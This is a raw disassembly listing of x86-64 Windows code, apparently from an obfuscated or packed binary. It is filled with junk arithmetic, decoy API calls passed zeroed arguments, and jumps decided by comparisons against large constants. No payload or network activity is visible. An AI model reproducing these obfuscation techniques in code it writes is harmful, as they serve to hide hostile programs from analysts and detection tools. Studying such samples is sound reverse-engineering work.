call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x75ec], eax
movzx eax, word [rsp + 0x2480]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2580], ax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1240]
and eax, ecx
mov word [rsp + 0x2554], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7544]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401e3384], eax
jmp 0x1401c5005
mov rax, qword [rsp + 0xea88]
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xbb58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed58], rax
mov eax, dword [rsp + 0x7544]
mov dword [rsp + 0x7604], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x705c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7530], eax
cmp dword [rsp + 0x75d0], 0x78ed
ja 0x140018c3a
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
sub eax, ecx
mov word [rsp + 0x255c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xeda8], rax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xede8]
mov word [rcx], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xea88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e3039], al
lea rcx, [rsp + 0xeeb0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movsx eax, word [rsp + 0x2550]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x257c], ax
mov eax, dword [rsp + 0x6088]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xeeb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeeb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6c34], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x4dc]
shl eax, cl
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xedf0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x256c]
movzx ecx, word [rsp + 0x2580]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [0x1401e3039]
sub eax, ecx
mov byte [rsp + 0x4da], al
movzx eax, word [rsp + 0x2480]
movzx ecx, word [rsp + 0x255c]
and eax, ecx
mov word [rsp + 0x256c], ax
mov eax, dword [rsp + 0x75d0]
add eax, 0x9a
mov dword [rsp + 0x75d0], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
sub eax, ecx
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x151c]
add eax, ecx
mov rcx, qword [rsp + 0xede8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xed60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [0x1401eee10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6088]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
sar eax, cl
mov word [rsp + 0x2558], ax
movzx eax, word [rsp + 0x2564]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x256c], ax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e3039], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
movsx eax, word [rsp + 0x257c]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x151c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movsx eax, byte [rsp + 0x4de]
movsx ecx, byte [rsp + 0x4dc]
sub eax, ecx
mov byte [rsp + 0x4d9], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
and eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x615c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7604], eax
jmp 0x14001885c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xede0], rax
lea rdx, [rsp + 0x21320]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7534], eax
lea rcx, [rsp + 0xeec0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1694]
sub eax, ecx
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2578]
sub eax, ecx
mov word [0x1401e3388], ax
lea rdx, [rsp + 0x75a4]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x75a4], eax
movsx eax, word [0x1401e338c]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
or eax, ecx
mov byte [rsp + 0x4db], al
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xeec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeec8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xed58], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x74d4]
shl eax, cl
mov dword [rsp + 0x615c], eax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x60e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xed08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
movzx eax, word [rsp + 0x255c]
movzx ecx, word [rsp + 0x2560]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4db]
sub eax, ecx
mov byte [rsp + 0x4dd], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [0x1401e3380]
sub eax, ecx
mov word [0x1401e338c], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2578]
sub eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xedb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb58], rax
mov eax, dword [rsp + 0x6088]
mov ecx, dword [rsp + 0x68dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x75d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x75a4], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [0x1401e3388]
shl eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
lea rcx, [rsp + 0xeed0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x4dd]
or eax, ecx
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x2588]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xede8]
mov word [rcx], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2564]
sar eax, cl
mov word [0x1401e3388], ax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2554]
sub eax, ecx
mov word [rsp + 0x2584], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7604]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
lea rcx, str.GtlfqJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2574], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [rsp + 0x7508]
add eax, 0xac
mov dword [rsp + 0x7508], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov eax, dword [rsp + 0x74e4]
mov ecx, dword [rsp + 0x7600]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75f4], eax
lea rdx, [rsp + 0xeeb0]
mov rcx, qword [rsp + 0xed10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x757c], eax
cmp dword [rsp + 0x7508], 0xe820
jbe 0x140018c3a
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xeed8], rax
movabs rax, 0x734eeb149db422
cmp qword [rsp + 0xeed8], rax
je 0x1400190db
movabs rax, 0x76f08ce8985dbb
cmp qword [rsp + 0xeed8], rax
je 0x140019065
jmp 0x1400191a6
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e3039]
add eax, ecx
mov byte [rsp + 0x4db], al
mov edx, 0xab
mov ecx, reloc.SHELL32.dll_ILIsParent
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0xeee0], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
jmp 0x1400191a6
movsx eax, byte [rsp + 0x2b3]
movsx ecx, byte [rsp + 0x4dc]
sub eax, ecx
mov byte [0x1401e3038], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2480]
shl eax, cl
mov word [rsp + 0x2580], ax
movzx eax, byte [rsp + 0x4dd]
movzx ecx, byte [rsp + 0x4da]
or eax, ecx
mov byte [rsp + 0x4db], al
mov r9d, 0x39
mov r8d, 0x3e
mov rdx, qword [rsp + 0xeee8]
mov rcx, qword [rsp + 0xeef0]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x75ec], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x615c]
shr eax, cl
mov dword [rsp + 0x6088], eax
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xed58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x7530]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75f4], eax
movsx eax, word [rsp + 0x151c]
mov dword [rsp + 0x7608], eax
cmp dword [rsp + 0x7608], 0x1b
je 0x1400191c4
jmp 0x140019279
movsx eax, word [rsp + 0x2584]
movsx ecx, word [rsp + 0x141c]
and eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
add eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2570]
sub eax, ecx
mov word [rsp + 0x2550], ax
mov eax, dword [rsp + 0x7600]
mov ecx, dword [rsp + 0x758c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1401eee00]
mov dword [rcx], eax
mov r8d, 1
lea rdx, [rsp + 0xeef0]
lea rcx, [rsp + 0xedd0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x7558], eax
mov r8, qword [rsp + 0xed48]
mov rax, qword [rsp + 0xed18]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x60e0]
call fcn.1401c5b60
jmp 0x140019358
movzx eax, byte [rsp + 0x4dd]
mov byte [rsp + 0x760c], al
cmp byte [rsp + 0x760c], 0
je 0x140019297
jmp 0x14001934b
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
mov dword [rsp + 0x7610], eax
cmp dword [rsp + 0x7610], 0x438
je 0x1400192b8
jmp 0x140019314
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xeea8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7f8], rax
jmp 0x140019349
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x615c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6850], eax
jmp 0x140019358
mov rcx, qword [rsp + 0xedb8]
call fcn.1401c5950
movzx eax, byte [rsp + 0x4dc]
mov byte [rsp + 0x7614], al
cmp byte [rsp + 0x7614], 0x3c
je 0x140019373
jmp 0x1400193ca
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2544], ax
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x4dc]
sar eax, cl
mov byte [rsp + 0x4d8], al
mov eax, dword [rsp + 0x75f4]
mov ecx, dword [0x1401eee10]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x1401eee00]
mov dword [rcx], eax
jmp 0x1401c4fd6
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov dword [rsp + 0x7618], 0x8633
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x258c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
sub eax, ecx
movzx ecx, word [rsp + 0x2580]
movzx edx, word [rsp + 0x2480]
and ecx, edx
cmp eax, ecx
jle 0x14001958d
lea rdx, [rsp + 0x288f0]
mov ecx, 0xf4
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x75ec], eax
mov rax, qword [0x1401eee00]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x758c]
mov edx, dword [0x1401eee10]
mov rax, qword [0x1401eee00]
mov ecx, dword [rax]
call fcn.1401c5bd0
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xed08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
or eax, ecx
mov word [0x1401e338c], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x258c]
shl eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sar eax, cl
mov byte [rsp + 0x4da], al
lea r9, [rsp + 0xed80]
lea r8, [rsp + 0xedf0]
mov rdx, qword [rsp + 0xeef8]
lea rcx, [rsp + 0xede8]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x74f0], eax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x257c]
mov rax, qword [rsp + 0xedb0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xedf0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xed58]
call fcn.1401c5cf0
jmp 0x1401c4ee6
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6088], eax
mov eax, dword [rsp + 0x74fc]
add eax, 0x61
mov dword [rsp + 0x74fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xed58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
add eax, ecx
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3fd]
movzx ecx, byte [rsp + 0x35e]
and eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
sub eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2550]
sub eax, ecx
mov word [rsp + 0x2584], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x75d4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401e3384], eax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xeea8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov eax, dword [rsp + 0x7544]
mov ecx, dword [rsp + 0x75d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [rsp + 0xc7f8]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xef00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xed60], rax
mov eax, dword [rsp + 0x705c]
movzx ecx, al
mov eax, dword [rsp + 0x74e4]
sar eax, cl
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2568]
or eax, ecx
mov word [rsp + 0x2560], ax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x4d7]
xor eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x257c]
and eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [0x1401e3384]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401eedf8], eax
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [0x1401e3384]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6850], eax
lea rcx, [rsp + 0xeed0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xed48]
mov rcx, qword [rsp + 0xed58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb58], rax
movsx eax, byte [rsp + 0x4d9]
movsx ecx, byte [rsp + 0x4de]
sub eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x7600]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74e4], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [0x1401e3388]
add eax, ecx
mov word [rsp + 0x258c], ax
movsx eax, word [rsp + 0x257c]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2544], ax
movzx eax, byte [rsp + 0x4dd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4d7], al
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x2544]
sar eax, cl
mov word [0x1401e338c], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
shl eax, cl
mov word [rsp + 0x2568], ax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x60e0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x75a4], eax
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xbb58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov eax, dword [0x1401e3384]
mov ecx, dword [rsp + 0x615c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68dc], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
add eax, ecx
mov word [rsp + 0x2480], ax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov byte [rsp + 0x4db], al
cmp dword [rsp + 0x74fc], 0x2f0b
jb 0x14001958d
mov rax, qword [rsp + 0xed40]
mov qword [rsp + 0xef08], rax
movabs rax, 0x7b8a2d148f7e1a
cmp qword [rsp + 0xef08], rax
je 0x140019995
movabs rax, 0xd4c7ffd59b7fb00
cmp qword [rsp + 0xef08], rax
je 0x140019a7c
jmp 0x140019b48
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2588], ax
mov rax, qword [rsp + 0xecd0]
mov rcx, qword [rsp + 0xed08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7604]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401eedf8], eax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
movzx eax, word [rsp + 0x258c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x256c], ax
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xef10], rax
movsx eax, byte [rsp + 0x4dc]
movsx ecx, byte [rsp + 0x4de]
sub eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xed58]
mov rcx, qword [rsp + 0xed48]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xedf0]
mov qword [rcx], rax
jmp 0x140019b48
mov eax, dword [rsp + 0x6850]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xef18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6088], eax
mov eax, dword [rsp + 0x751c]
mov dword [rsp + 0x761c], eax
lea rcx, str.MI5_i
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2548], ax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4d7]
or eax, ecx
mov byte [rsp + 0x3fd], al
movsx eax, word [rsp + 0x2550]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2588], ax
lea rax, [rsp + 0x1240]
mov qword [rsp + 0xef20], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
and eax, ecx
mov byte [rsp + 0x4d7], al
movzx eax, word [rsp + 0x2578]
movzx ecx, word [rsp + 0x258c]
add eax, ecx
mov word [rsp + 0x24ac], ax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7544]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xedb8]
mov qword [rsp + 0xef28], rax
movabs rax, 0x780bc105a08bff
cmp qword [rsp + 0xef28], rax
je 0x140019ba1
movabs rax, 0x21567ffff4a00d00
cmp qword [rsp + 0xef28], rax
je 0x140019be2
jmp 0x1401c4e7c
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2580]
and eax, ecx
mov word [0x1401e3388], ax
jmp 0x1401c4e7c
movzx eax, byte [rsp + 0x299]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3fd], al
movzx eax, byte [rsp + 0x4d9]
mov byte [rsp + 0x4df], al
mov dword [rsp + 0x22950], 0x114
mov rax, qword [rsp + 0xeea8]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
sar rax, cl
mov qword [rsp + 0xedb8], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x615c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x74ec], eax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x758c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x751c], eax
